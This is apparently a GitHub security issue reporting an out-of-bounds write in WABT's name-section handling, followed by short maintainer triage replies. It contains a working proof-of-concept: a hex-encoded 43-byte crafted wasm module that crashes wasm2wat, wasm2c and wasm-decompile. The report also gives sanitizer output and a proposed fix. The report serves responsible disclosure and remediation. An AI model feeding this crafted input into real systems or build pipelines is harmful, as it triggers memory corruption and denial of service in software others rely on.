[Security] Out-of-bounds write in `MakeTypeBindingReverseMapping` via unchecked `local_index` from the binary `name` section

[LuiginoC]

Hello WABT maintainers,

A 43-byte crafted module triggers an OOB write in src/ir.cc:MakeTypeBindingReverseMapping from the default code paths of wasm2wat, wasm2c, and wasm-decompile. No --enable-* flags are required.

Bug

The binary name section's Local subsection accepts an attacker-controlled local_index (a uint32_t) that is only checked for ordering / uniqueness and for count ≤ GetNumParamsAndLocals(). The value is never bounds-checked, so it is stored verbatim into func->bindings:

// src/binary-reader-ir.cc — OnLocalName
Func* func = module_->funcs[func_index];
func->bindings.emplace(GetUniqueName(&func->bindings, MakeDollarName(name)),
                       Binding(local_index));            // local_index never checked

Later, MakeTypeBindingReverseMapping indexes into a vector sized by GetNumParamsAndLocals() with that attacker-controlled index, guarded only by an assert (elided in release builds):

// src/ir.cc
out_reverse_mapping->resize(num_types);
for (const auto& [name, binding] : bindings) {
  assert(static_cast<size_t>(binding.index) < out_reverse_mapping->size());
  (*out_reverse_mapping)[binding.index] = name;          // OOB write in NDEBUG builds
}

Reached from default paths in ApplyNames, GenerateNames, WriteWat, and CWriter.

CWE-787 (Out-of-bounds Write); CWE-20 (Improper Input Validation).

Reproduction

Stock Ubuntu wabt 1.0.34 package, two commands, no build needed:

$ printf '0061736d010000000105016001 7f00 03020100 0a040102000b 0010046e616d650209010001ffffff070178' \
  | tr -d ' ' | xxd -r -p > poc.wasm
$ wasm2wat poc.wasm -o /dev/null
wasm2wat: ./src/ir.cc:584: ... MakeTypeBindingReverseMapping ...:
  Assertion `static_cast<size_t>(binding.index) < out_reverse_mapping->size()' failed.
Aborted (core dumped)                                # exit 134 (SIGABRT)

Same crash on wasm2c poc.wasm -o /tmp/out.c and wasm-decompile poc.wasm -o /tmp/out.dcmp. Workaround: pass --no-debug-names.

In an ASan -DNDEBUG build (asserts compiled out) the same input crashes at the OOB write site:

$ ASAN_OPTIONS=detect_leaks=0 ./wasm2wat poc.wasm -o /dev/null
==ERROR: AddressSanitizer: SEGV on unknown address 0x5030200027b0
    #0 std::__cxx11::basic_string<...>::_M_assign(...)
    #3 wabt::MakeTypeBindingReverseMapping(...)   src/ir.cc:609
    #4 VisitFunc                                  src/apply-names.cc:480
    #6 wabt::ApplyNames(wabt::Module*)            src/apply-names.cc:577
    #7 ProgramMain                                src/tools/wasm2wat.cc:129
ABORTING

The PoC sets local_index = 0xFFFFFF, so the OOB destination is unmapped and ASan catches it cleanly at src/ir.cc:609. Smaller indices (e.g., 100) still execute the write but land inside another live heap allocation, so ASan reports it only via LeakSanitizer.

Affected versions

Confirmed: 1.0.34 (Ubuntu package) and HEAD / 1.0.41 (built from source). git tag --contains for the introducing commit (194fbedf2, 2017-06-12) covers ≥ 1.0.0.

Proposed fix

diff --git a/src/binary-reader-ir.cc b/src/binary-reader-ir.cc
@@ Result BinaryReaderIR::OnLocalName(Index func_index, Index local_index, ...)
   Func* func = module_->funcs[func_index];
+  if (local_index >= func->GetNumParamsAndLocals()) {
+    PrintError("invalid local_index %" PRIindex " for local name "
+               "(function has %" PRIindex " param(s)+local(s))",
+               local_index, func->GetNumParamsAndLocals());
+    return Result::Error;
+  }
   func->bindings.emplace(GetUniqueName(&func->bindings, MakeDollarName(name)),
                          Binding(local_index));

diff --git a/src/ir.cc b/src/ir.cc
@@ void MakeTypeBindingReverseMapping(...)
   for (const auto& [name, binding] : bindings) {
-    assert(static_cast<size_t>(binding.index) < out_reverse_mapping->size());
-    (*out_reverse_mapping)[binding.index] = name;
+    const size_t idx = static_cast<size_t>(binding.index);
+    if (idx >= out_reverse_mapping->size()) continue;   // defense in depth
+    (*out_reverse_mapping)[idx] = name;
   }

Best wishes,
Luigino Camastra
Aisle Research

[shravanrn]

(I help maintain wasm2c, although I'm not a general maintainer of wabt)

Some triaging: From the wasm2c perspective, I would consider this is a robustness bug, but not a security one, since this is an OOB during compilation, not in the generated code. Fyi @sbc100

[sbc100]

I think was maybe fixed by #2796?